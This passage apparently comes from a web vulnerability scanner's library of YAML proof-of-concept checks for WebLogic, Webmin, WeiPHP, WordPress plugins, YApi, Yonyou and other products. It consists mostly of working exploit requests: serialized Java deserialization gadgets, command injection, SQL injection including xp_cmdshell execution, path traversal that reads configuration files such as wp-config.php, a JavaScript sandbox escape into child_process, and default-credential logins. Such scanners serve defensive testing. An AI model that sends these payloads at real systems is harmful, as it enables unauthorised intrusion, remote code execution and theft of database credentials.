0 -4 0 -89 0 1 0 -73 0 0 0 70 0 9 3 -1 0 109 0 6 0 5 7 0 112 7 0 69 7 0 96 7 0 112 0 0 2 29 -4 0 26 7 0 -115 -2 0 32 7 0 -119 7 0 112 7 0 112 21 -1 0 23 0 6 0 5 7 0 112 7 0 69 7 0 96 7 0 112 0 1 7 0 -89 20 0 2 0 32 0 0 0 2 0 33 0 17 0 0 0 10 0 1 0 2 0 35 0 16 0 9 117 113 0 126 0 13 0 0 1 -44 -54 -2 -70 -66 0 0 0 50 0 27 10 0 3 0 21 7 0 23 7 0 24 7 0 25 1 0 16 115 101 114 105 97 108 86 101 114 115 105 111 110 85 73 68 1 0 1 74 1 0 13 67 111 110 115 116 97 110 116 86 97 108 117 101 5 113 -26 105 -18 60 109 71 24 1 0 6 60 105 110 105 116 62 1 0 3 40 41 86 1 0 4 67 111 100 101 1 0 15 76 105 110 101 78 117 109 98 101 114 84 97 98 108 101 1 0 18 76 111 99 97 108 86 97 114 105 97 98 108 101 84 97 98 108 101 1 0 4 116 104 105 115 1 0 3 70 111 111 1 0 12 73 110 110 101 114 67 108 97 115 115 101 115 1 0 37 76 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 70 111 111 59 1 0 10 83 111 117 114 99 101 70 105 108 101 1 0 12 71 97 100 103 101 116 115 46 106 97 118 97 12 0 10 0 11 7 0 26 1 0 35 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 70 111 111 1 0 16 106 97 118 97 47 108 97 110 103 47 79 98 106 101 99 116 1 0 20 106 97 118 97 47 105 111 47 83 101 114 105 97 108 105 122 97 98 108 101 1 0 31 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 0 33 0 2 0 3 0 1 0 4 0 1 0 26 0 5 0 6 0 1 0 7 0 0 0 2 0 8 0 1 0 1 0 10 0 11 0 1 0 12 0 0 0 47 0 1 0 1 0 0 0 5 42 -73 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 60 0 14 0 0 0 12 0 1 0 0 0 5 0 15 0 18 0 0 0 2 0 19 0 0 0 2 0 20 0 17 0 0 0 10 0 1 0 2 0 22 0 16 0 9 112 116 0 4 80 119 110 114 112 119 1 0 120 115 125 0 0 0 1 0 29 106 97 118 97 120 46 120 109 108 46 116 114 97 110 115 102 111 114 109 46 84 101 109 112 108 97 116 101 115 120 114 0 23 106 97 118 97 46 108 97 110 103 46 114 101 102 108 101 99 116 46 80 114 111 120 121 -31 39 -38 32 -52 16 67 -53 2 0 1 76 0 1 104 116 0 37 76 106 97 118 97 47 108 97 110 103 47 114 101 102 108 101 99 116 47 73 110 118 111 99 97 116 105 111 110 72 97 110 100 108 101 114 59 120 112 115 114 0 50 115 117 110 46 114 101 102 108 101 99 116 46 97 110 110 111 116 97 116 105 111 110 46 65 110 110 111 116 97 116 105 111 110 73 110 118 111 99 97 116 105 111 110 72 97 110 100 108 101 114 85 -54 -11 15 21 -53 126 -91 2 0 2 76 0 12 109 101 109 98 101 114 86 97 108 117 101 115 116 0 15 76 106 97 118 97 47 117 116 105 108 47 77 97 112 59 76 0 4 116 121 112 101 116 0 17 76 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 59 120 112 115 114 0 17 106 97 118 97 46 117 116 105 108 46 72 97 115 104 77 97 112 5 7 -38 -63 -61 22 96 -47 3 0 2 70 0 10 108 111 97 100 70 97 99 116 111 114 73 0 9 116 104 114 101 115 104 111 108 100 120 112 63 64 0 0 0 0 0 12 119 8 0 0 0 16 0 0 0 1 116 0 8 102 53 97 53 97 54 48 56 113 0 126 0 9 120 118 114 0 29 106 97 118 97 120 46 120 109 108 46 116 114 97 110 115 102 111 114 109 46 84 101 109 112 108 97 116 101 115 0 0 0 0 0 0 0 0 0 0 0 120 112 120 follow_redirects: false expression: 'response.status == 200 && response.body.bcontains(b"whoami :")' ================================================ FILE: WebScan/pocs/weblogic-cve-2019-2729-2.yml ================================================ name: poc-yaml-weblogic-cve-2019-2729-2 rules: - method: POST path: /_async/AsyncResponseService headers: Content-Type: text/xml cmd: whoami body: |- xx xx oracle.toplink.internal.sessions.UnitOfWorkChangeSet -84 -19 0 5 115 114 0 23 106 97 118 97 46 117 116 105 108 46 76 105 110 107 101 100 72 97 115 104 83 101 116 -40 108 -41 90 -107 -35 42 30 2 0 0 120 114 0 17 106 97 118 97 46 117 116 105 108 46 72 97 115 104 83 101 116 -70 68 -123 -107 -106 -72 -73 52 3 0 0 120 112 119 12 0 0 0 16 63 64 0 0 0 0 0 2 115 114 0 58 99 111 109 46 115 117 110 46 111 114 103 46 97 112 97 99 104 101 46 120 97 108 97 110 46 105 110 116 101 114 110 97 108 46 120 115 108 116 99 46 116 114 97 120 46 84 101 109 112 108 97 116 101 115 73 109 112 108 9 87 79 -63 110 -84 -85 51 3 0 6 73 0 13 95 105 110 100 101 110 116 78 117 109 98 101 114 73 0 14 95 116 114 97 110 115 108 101 116 73 110 100 101 120 91 0 10 95 98 121 116 101 99 111 100 101 115 116 0 3 91 91 66 91 0 6 95 99 108 97 115 115 116 0 18 91 76 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 59 76 0 5 95 110 97 109 101 116 0 18 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 76 0 17 95 111 117 116 112 117 116 80 114 111 112 101 114 116 105 101 115 116 0 22 76 106 97 118 97 47 117 116 105 108 47 80 114 111 112 101 114 116 105 101 115 59 120 112 0 0 0 0 -1 -1 -1 -1 117 114 0 3 91 91 66 75 -3 25 21 103 103 -37 55 2 0 0 120 112 0 0 0 2 117 114 0 2 91 66 -84 -13 23 -8 6 8 84 -32 2 0 0 120 112 0 0 8 -82 -54 -2 -70 -66 0 0 0 50 0 99 10 0 3 0 34 7 0 97 7 0 37 7 0 38 1 0 16 115 101 114 105 97 108 86 101 114 115 105 111 110 85 73 68 1 0 1 74 1 0 13 67 111 110 115 116 97 110 116 86 97 108 117 101 5 -83 32 -109 -13 -111 -35 -17 62 1 0 6 60 105 110 105 116 62 1 0 3 40 41 86 1 0 4 67 111 100 101 1 0 15 76 105 110 101 78 117 109 98 101 114 84 97 98 108 101 1 0 18 76 111 99 97 108 86 97 114 105 97 98 108 101 84 97 98 108 101 1 0 4 116 104 105 115 1 0 19 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 1 0 12 73 110 110 101 114 67 108 97 115 115 101 115 1 0 53 76 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 59 1 0 9 116 114 97 110 115 102 111 114 109 1 0 114 40 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 91 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 41 86 1 0 8 100 111 99 117 109 101 110 116 1 0 45 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 1 0 8 104 97 110 100 108 101 114 115 1 0 66 91 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 1 0 10 69 120 99 101 112 116 105 111 110 115 7 0 39 1 0 -90 40 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 68 79 77 59 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 100 116 109 47 68 84 77 65 120 105 115 73 116 101 114 97 116 111 114 59 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 41 86 1 0 8 105 116 101 114 97 116 111 114 1 0 53 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 100 116 109 47 68 84 77 65 120 105 115 73 116 101 114 97 116 111 114 59 1 0 7 104 97 110 100 108 101 114 1 0 65 76 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 109 108 47 105 110 116 101 114 110 97 108 47 115 101 114 105 97 108 105 122 101 114 47 83 101 114 105 97 108 105 122 97 116 105 111 110 72 97 110 100 108 101 114 59 1 0 10 83 111 117 114 99 101 70 105 108 101 1 0 12 71 97 100 103 101 116 115 46 106 97 118 97 12 0 10 0 11 7 0 40 1 0 51 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 83 116 117 98 84 114 97 110 115 108 101 116 80 97 121 108 111 97 100 1 0 64 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 114 117 110 116 105 109 101 47 65 98 115 116 114 97 99 116 84 114 97 110 115 108 101 116 1 0 20 106 97 118 97 47 105 111 47 83 101 114 105 97 108 105 122 97 98 108 101 1 0 57 99 111 109 47 115 117 110 47 111 114 103 47 97 112 97 99 104 101 47 120 97 108 97 110 47 105 110 116 101 114 110 97 108 47 120 115 108 116 99 47 84 114 97 110 115 108 101 116 69 120 99 101 112 116 105 111 110 1 0 31 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 1 0 8 60 99 108 105 110 105 116 62 1 0 18 106 97 118 97 47 105 111 47 70 105 108 101 87 114 105 116 101 114 7 0 42 1 0 22 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 66 117 102 102 101 114 7 0 44 10 0 45 0 34 1 0 16 106 97 118 97 47 108 97 110 103 47 84 104 114 101 97 100 7 0 47 1 0 13 99 117 114 114 101 110 116 84 104 114 101 97 100 1 0 20 40 41 76 106 97 118 97 47 108 97 110 103 47 84 104 114 101 97 100 59 12 0 49 0 50 10 0 48 0 51 1 0 21 103 101 116 67 111 110 116 101 120 116 67 108 97 115 115 76 111 97 100 101 114 1 0 25 40 41 76 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 76 111 97 100 101 114 59 12 0 53 0 54 10 0 48 0 55 1 0 1 47 8 0 57 1 0 21 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 76 111 97 100 101 114 7 0 59 1 0 11 103 101 116 82 101 115 111 117 114 99 101 1 0 34 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 76 106 97 118 97 47 110 101 116 47 85 82 76 59 12 0 61 0 62 10 0 60 0 63 1 0 12 106 97 118 97 47 110 101 116 47 85 82 76 7 0 65 1 0 7 103 101 116 80 97 116 104 1 0 20 40 41 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 12 0 67 0 68 10 0 66 0 69 1 0 6 97 112 112 101 110 100 1 0 44 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 66 117 102 102 101 114 59 12 0 71 0 72 10 0 45 0 73 1 0 17 46 46 47 46 46 47 102 97 118 105 99 111 110 46 105 99 111 8 0 75 1 0 8 116 111 83 116 114 105 110 103 12 0 77 0 68 10 0 45 0 78 1 0 21 40 76 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 59 41 86 12 0 10 0 80 10 0 43 0 81 1 0 16 106 97 118 97 47 108 97 110 103 47 83 116 114 105 110 103 7 0 83 1 0 10 86 117 108 110 101 114 97 98 108 101 8 0 85 10 0 84 0 81 1 0 14 106 97 118 97 47 105 111 47 87 114 105 116 101 114 7 0 88 1 0 42 40 76 106 97 118 97 47 108 97 110 103 47 67 104 97 114 83 101 113 117 101 110 99 101 59 41 76 106 97 118 97 47 105 111 47 87 114 105 116 101 114 59 12 0 71 0 90 10 0 89 0 91 1 0 5 102 108 117 115 104 12 0 93 0 11 10 0 89 0 94 1 0 13 83 116 97 99 107 77 97 112 84 97 98 108 101 1 0 30 121 115 111 115 101 114 105 97 108 47 80 119 110 101 114 51 57 56 52 50 51 48 50 48 50 52 51 53 48 51 1 0 32 76 121 115 111 115 101 114 105 97 108 47 80 119 110 101 114 51 57 56 52 50 51 48 50 48 50 52 51 53 48 51 59 0 33 0 2 0 3 0 1 0 4 0 1 0 26 0 5 0 6 0 1 0 7 0 0 0 2 0 8 0 4 0 1 0 10 0 11 0 1 0 12 0 0 0 47 0 1 0 1 0 0 0 5 42 -73 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 41 0 14 0 0 0 12 0 1 0 0 0 5 0 15 0 98 0 0 0 1 0 19 0 20 0 2 0 12 0 0 0 63 0 0 0 3 0 0 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 46 0 14 0 0 0 32 0 3 0 0 0 1 0 15 0 98 0 0 0 0 0 1 0 21 0 22 0 1 0 0 0 1 0 23 0 24 0 2 0 25 0 0 0 4 0 1 0 26 0 1 0 19 0 27 0 2 0 12 0 0 0 73 0 0 0 4 0 0 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 50 0 14 0 0 0 42 0 4 0 0 0 1 0 15 0 98 0 0 0 0 0 1 0 21 0 22 0 1 0 0 0 1 0 28 0 29 0 2 0 0 0 1 0 30 0 31 0 3 0 25 0 0 0 4 0 1 0 26 0 8 0 41 0 11 0 1 0 12 0 0 0 81 0 6 0 2 0 0 0 60 -89 0 3 1 76 -69 0 43 89 -69 0 45 89 -73 0 46 -72 0 52 -74 0 56 18 58 -74 0 64 -74 0 70 -74 0 74 18 76 -74 0 74 -74 0 79 -73 0 82 -69 0 84 89 18 86 -73 0 87 -74 0 92 -74 0 95 -79 0 0 0 1 0 96 0 0 0 3 0 1 3 0 2 0 32 0 0 0 2 0 33 0 17 0 0 0 10 0 1 0 2 0 35 0 16 0 9 117 113 0 126 0 11 0 0 1 -44 -54 -2 -70 -66 0 0 0 50 0 27 10 0 3 0 21 7 0 23 7 0 24 7 0 25 1 0 16 115 101 114 105 97 108 86 101 114 115 105 111 110 85 73 68 1 0 1 74 1 0 13 67 111 110 115 116 97 110 116 86 97 108 117 101 5 113 -26 105 -18 60 109 71 24 1 0 6 60 105 110 105 116 62 1 0 3 40 41 86 1 0 4 67 111 100 101 1 0 15 76 105 110 101 78 117 109 98 101 114 84 97 98 108 101 1 0 18 76 111 99 97 108 86 97 114 105 97 98 108 101 84 97 98 108 101 1 0 4 116 104 105 115 1 0 3 70 111 111 1 0 12 73 110 110 101 114 67 108 97 115 115 101 115 1 0 37 76 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 70 111 111 59 1 0 10 83 111 117 114 99 101 70 105 108 101 1 0 12 71 97 100 103 101 116 115 46 106 97 118 97 12 0 10 0 11 7 0 26 1 0 35 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 36 70 111 111 1 0 16 106 97 118 97 47 108 97 110 103 47 79 98 106 101 99 116 1 0 20 106 97 118 97 47 105 111 47 83 101 114 105 97 108 105 122 97 98 108 101 1 0 31 121 115 111 115 101 114 105 97 108 47 112 97 121 108 111 97 100 115 47 117 116 105 108 47 71 97 100 103 101 116 115 0 33 0 2 0 3 0 1 0 4 0 1 0 26 0 5 0 6 0 1 0 7 0 0 0 2 0 8 0 1 0 1 0 10 0 11 0 1 0 12 0 0 0 47 0 1 0 1 0 0 0 5 42 -73 0 1 -79 0 0 0 2 0 13 0 0 0 6 0 1 0 0 0 54 0 14 0 0 0 12 0 1 0 0 0 5 0 15 0 18 0 0 0 2 0 19 0 0 0 2 0 20 0 17 0 0 0 10 0 1 0 2 0 22 0 16 0 9 112 116 0 4 80 119 110 114 112 119 1 0 120 115 125 0 0 0 1 0 29 106 97 118 97 120 46 120 109 108 46 116 114 97 110 115 102 111 114 109 46 84 101 109 112 108 97 116 101 115 120 114 0 23 106 97 118 97 46 108 97 110 103 46 114 101 102 108 101 99 116 46 80 114 111 120 121 -31 39 -38 32 -52 16 67 -53 2 0 1 76 0 1 104 116 0 37 76 106 97 118 97 47 108 97 110 103 47 114 101 102 108 101 99 116 47 73 110 118 111 99 97 116 105 111 110 72 97 110 100 108 101 114 59 120 112 115 114 0 50 115 117 110 46 114 101 102 108 101 99 116 46 97 110 110 111 116 97 116 105 111 110 46 65 110 110 111 116 97 116 105 111 110 73 110 118 111 99 97 116 105 111 110 72 97 110 100 108 101 114 85 -54 -11 15 21 -53 126 -91 2 0 2 76 0 12 109 101 109 98 101 114 86 97 108 117 101 115 116 0 15 76 106 97 118 97 47 117 116 105 108 47 77 97 112 59 76 0 4 116 121 112 101 116 0 17 76 106 97 118 97 47 108 97 110 103 47 67 108 97 115 115 59 120 112 115 114 0 17 106 97 118 97 46 117 116 105 108 46 72 97 115 104 77 97 112 5 7 -38 -63 -61 22 96 -47 3 0 2 70 0 10 108 111 97 100 70 97 99 116 111 114 73 0 9 116 104 114 101 115 104 111 108 100 120 112 63 64 0 0 0 0 0 12 119 8 0 0 0 16 0 0 0 1 116 0 8 102 53 97 53 97 54 48 56 113 0 126 0 8 120 118 114 0 29 106 97 118 97 120 46 120 109 108 46 116 114 97 110 115 102 111 114 109 46 84 101 109 112 108 97 116 101 115 0 0 0 0 0 0 0 0 0 0 0 120 112 120 follow_redirects: false expression: 'response.status == 202' - method: GET path: /_async/favicon.ico follow_redirects: false expression: 'response.status == 200 && response.body.bcontains(b"Vulnerable")' ================================================ FILE: WebScan/pocs/weblogic-cve-2020-14750.yml ================================================ name: poc-yaml-weblogic-cve-2020-14750 rules: - method: GET path: /console/images/%252E./console.portal follow_redirects: false expression: | response.status == 302 && (response.body.bcontains(bytes("/console/console.portal")) || response.body.bcontains(bytes("/console/jsp/common/NoJMX.jsp"))) detail: author: canc3s(https://github.com/canc3s),Soveless(https://github.com/Soveless) weblogic_version: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 links: - https://www.oracle.com/security-alerts/alert-cve-2020-14750.html ================================================ FILE: WebScan/pocs/weblogic-ssrf.yml ================================================ name: poc-yaml-weblogic-ssrf rules: - method: GET path: >- /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700 headers: Cookie: >- publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; follow_redirects: false expression: >- response.status == 200 && (response.body.bcontains(b"'127.1.1.1', port: '700'") || response.body.bcontains(b"Socket Closed")) ================================================ FILE: WebScan/pocs/webmin-cve-2019-15107-rce.yml ================================================ name: poc-yaml-webmin-cve-2019-15107-rce set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) url: request.url rules: - method: POST path: /password_change.cgi headers: Referer: "{{url}}" body: user=roovt&pam=&expired=2&old=expr%20{{r1}}%20%2b%20{{r2}}&new1=test2&new2=test2 follow_redirects: false expression: > response.body.bcontains(bytes(string(r1 + r2))) detail: author: danta description: Webmin 远程命令执行漏洞(CVE-2019-15107) links: - https://github.com/vulhub/vulhub/tree/master/webmin/CVE-2019-15107 ================================================ FILE: WebScan/pocs/weiphp-path-traversal.yml ================================================ name: poc-yaml-weiphp-path-traversal rules: - method: POST path: /public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php body: | "1":1 expression: response.status == 200 - method: GET path: /public/index.php/home/file/user_pics search: | /public/uploads/picture/(?P.+?)" expression: response.status == 200 - method: GET path: /public/uploads/picture/{{img}} expression: response.status == 200 && response.body.bcontains(b"data_auth_key") && response.body.bcontains(b"WeiPHP") detail: author: sakura404x version: Weiphp<=5.0 links: - http://wiki.peiqi.tech/PeiQi_Wiki/CMS%E6%BC%8F%E6%B4%9E/Weiphp/Weiphp5.0%20%E5%89%8D%E5%8F%B0%E6%96%87%E4%BB%B6%E4%BB%BB%E6%84%8F%E8%AF%BB%E5%8F%96%20CNVD-2020-68596.html ================================================ FILE: WebScan/pocs/weiphp-sql.yml ================================================ name: poc-yaml-weiphp-sql set: rand: randomInt(200000000, 210000000) rules: - method: GET path: /public/index.php/home/index/bind_follow/?publicid=1&is_ajax=1&uid[0]=exp&uid[1]=)%20and%20updatexml(1,concat(0x7e,md5({{rand}}),0x7e),1)--+ expression: response.body.bcontains(bytes(substr(md5(string(rand)), 0, 31))) detail: author: sakura404x version: Weiphp<=5.0 links: - https://github.com/Y4er/Y4er.com/blob/15f49973707f9d526a059470a074cb6e38a0e1ba/content/post/weiphp-exp-sql.md ================================================ FILE: WebScan/pocs/wifisky-default-password-cnvd-2021-39012.yml ================================================ name: poc-yaml-wifisky-default-password-cnvd-2021-39012 rules: - method: POST path: /login.php?action=login&type=admin follow_redirects: false body: >- username=admin&password=admin expression: | response.status == 200 && response.body.bcontains(b"{\"success\":\"true\", \"data\":{\"id\":1}, \"alert\":\"您正在使用默认密码登录,为保证设备安全,请立即修改密码\"}") detail: author: Print1n(http://print1n.top) links: - https://www.cnvd.org.cn/flaw/show/CNVD-2021-39012 ================================================ FILE: WebScan/pocs/wordpress-cve-2019-19985-infoleak.yml ================================================ name: poc-yaml-wordpress-cve-2019-19985-infoleak rules: - method: GET path: "/wp-admin/admin.php?page=download_report&report=users&status=all" follow_redirects: false expression: > response.status == 200 && response.body.bcontains(b"Name,Email,Status,Created") && "(?i)filename=.*?.csv".bmatches(bytes(response.headers["Content-Disposition"])) detail: author: bufsnake(https://github.com/bufsnake) links: - https://www.exploit-db.com/exploits/48698 ================================================ FILE: WebScan/pocs/wordpress-ext-adaptive-images-lfi.yml ================================================ name: poc-yaml-wordpress-ext-adaptive-images-lfi rules: - method: GET path: >- /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-config.php follow_redirects: false expression: > response.status == 200 && response.body.bcontains(b"DB_NAME") && response.body.bcontains(b"DB_USER") && response.body.bcontains(b"DB_PASSWORD") && response.body.bcontains(b"DB_HOST") detail: author: FiveAourThe(https://github.com/FiveAourThe) links: - https://www.anquanke.com/vul/id/1674598 - https://github.com/security-kma/EXPLOITING-CVE-2019-14205 ================================================ FILE: WebScan/pocs/wordpress-ext-mailpress-rce.yml ================================================ name: poc-yaml-wordpress-ext-mailpress-rce set: r: randomInt(800000000, 1000000000) r1: randomInt(800000000, 1000000000) rules: - method: POST path: "/wp-content/plugins/mailpress/mp-includes/action.php" headers: Content-Type: application/x-www-form-urlencoded body: | action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=&html=&plaintext=&mail_format=standard&autosave=1 expression: "true" search: | - /api/sms_check.php?param=1%27%20and%20updatexml(1,concat(0x7e,(SELECT%20MD5(1234)),0x7e),1)--%20 follow_redirects: false expression: | response.status == 200 && response.body.bcontains(b"81dc9bdb52d04dc20036dbd8313ed05") && response.body.bcontains(b"sql_error:MySQL Query Error") detail: author: leezp Affected Version: "wuzhicms-v4.1.0" vuln_url: "/api/sms_check.php" links: - https://github.com/wuzhicms/wuzhicms/issues/184 ================================================ FILE: WebScan/pocs/xdcms-sql.yml ================================================ name: poc-yaml-xdcms-sql set: r1: randomInt(800000000, 1000000000) r2: randomInt(800000000, 1000000000) rules: - method: POST path: "/index.php?m=member&f=login_save" body: | username=dd' or extractvalue(0x0a,concat(0x0a,{{r1}}*{{r2}}))#&password=dd&submit=+%B5%C7+%C2%BC+ expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: amos1 links: - https://www.uedbox.com/post/35188/ ================================================ FILE: WebScan/pocs/xiuno-bbs-cvnd-2019-01348-reinstallation.yml ================================================ name: poc-yaml-xiuno-bbs-cvnd-2019-01348-reinstallation rules: - method: GET path: /install/ headers: Accept-Encoding: 'deflate' follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string("/view/js/xiuno.js"))) && response.body.bcontains(bytes(string("Choose Language (选择语言)"))) detail: author: 清风明月(www.secbook.info) influence_version: '=< Xiuno BBS 4.0.4' links: - https://www.cnvd.org.cn/flaw/show/CNVD-2019-01348 ================================================ FILE: WebScan/pocs/xunchi-cnvd-2020-23735-file-read.yml ================================================ name: poc-yaml-xunchi-cnvd-2020-23735-file-read rules: - method: GET path: /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php headers: Accept-Encoding: 'deflate' follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(string("NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"))) && response.body.bcontains(bytes(string("display_errors"))) detail: author: 清风明月(www.secbook.info) influence_version: ' >= V2.3' links: - http://www.cnxunchi.com - https://www.cnvd.org.cn/flaw/show/2025171 ================================================ FILE: WebScan/pocs/yapi-rce.yml ================================================ name: poc-yaml-yapi-rce set: redemail: randomLowercase(15) redpassword: randomLowercase(15) redproject: randomLowercase(8) redinterface: randomLowercase(10) r1: randomLowercase(10) r2: randomLowercase(10) r3: randomLowercase(10) r4: randomLowercase(10) rules: - method: POST path: /api/user/reg headers: Content-Type: application/json;charset=UTF-8 follow_redirects: true body: | {"email":"{{redemail}}@qq.com","password":"{{redpassword}}","username":"{{redemail}}"} expression: | response.status == 200 && response.headers["Set-Cookie"].contains("_yapi_token=") && response.headers["Set-Cookie"].contains("_yapi_uid=") && response.body.bcontains(bytes(redemail)) - method: GET path: /api/group/list search: | "_id":(?P.+?), expression: | response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(bytes("custom_field1")) - method: POST path: /api/project/add headers: Content-Type: application/json;charset=UTF-8 body: | {"name":"{{redproject}}","basepath":"","group_id":"{{group_id}}","icon":"code-o","color":"cyan","project_type":"private"} search: | tag":\[\],"_id":(?P.+?), expression: | response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redproject)) - method: GET path: /api/project/get?id={{project_id}} search: | "_id":(?P.+?), expression: | response.status == 200 && response.body.bcontains(bytes("成功!")) - method: POST path: /api/interface/add headers: Content-Type: application/json;charset=UTF-8 body: | {"method":"GET","catid":"{{catid}}","title":"{{redinterface}}","path":"/{{redinterface}}","project_id":{{project_id}}} search: | "_id":(?P.+?), expression: | response.status == 200 && response.body.bcontains(bytes("成功!")) && response.body.bcontains(bytes(redinterface)) - method: POST path: /api/plugin/advmock/save headers: Content-Type: application/json;charset=UTF-8 body: | {"project_id":"{{project_id}}","interface_id":"{{interface_id}}","mock_script":"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo {{r1}}${{{r2}}}{{r3}}^{{r4}}\").toString()","enable":true} expression: | response.status == 200 && response.body.bcontains(bytes("成功!")) - method: GET path: /mock/{{project_id}}/{{redinterface}} expression: | response.status == 200 && (response.body.bcontains(bytes(r1 + r3 + "^" + r4)) || response.body.bcontains(bytes(r1 + "${" + r2 + "}" + r3 + r4))) - method: POST path: /api/project/del headers: Content-Type: application/json;charset=UTF-8 body: | {"id":{{project_id}}} expression: | response.status == 200 detail: author: tangshoupu info: yapi-rce links: - https://github.com/YMFE/yapi/issues/2229 ================================================ FILE: WebScan/pocs/yccms-rce.yml ================================================ name: poc-yaml-yccms-rce set: r: randomInt(800000000, 1000000000) r1: randomInt(800000000, 1000000000) rules: - method: GET path: "/admin/?a=Factory();print({{r}}%2b{{r1}});//../" expression: | response.body.bcontains(bytes(string(r + r1))) detail: author: j4ckzh0u(https://github.com/j4ckzh0u),violin yccms: v3.3 links: - https://blog.csdn.net/qq_36374896/article/details/84839891 ================================================ FILE: WebScan/pocs/yonyou-grp-u8-sqli-to-rce.yml ================================================ name: poc-yaml-yonyou-grp-u8-sqli-to-rce set: r1: randomInt(1000, 9999) r2: randomInt(1000, 9999) rules: - method: POST path: /Proxy follow_redirects: false body: | cVer=9.8.0&dp=XMLAS_DataRequestProviderNameDataSetProviderDataDataexec xp_cmdshell 'set/A {{r1}}*{{r2}}' expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) detail: author: MrP01ntSun(https://github.com/MrPointSun) links: - https://www.hackbug.net/archives/111.html ================================================ FILE: WebScan/pocs/yonyou-grp-u8-sqli.yml ================================================ name: poc-yaml-yonyou-grp-u8-sqli set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) rules: - method: POST path: /Proxy body: > 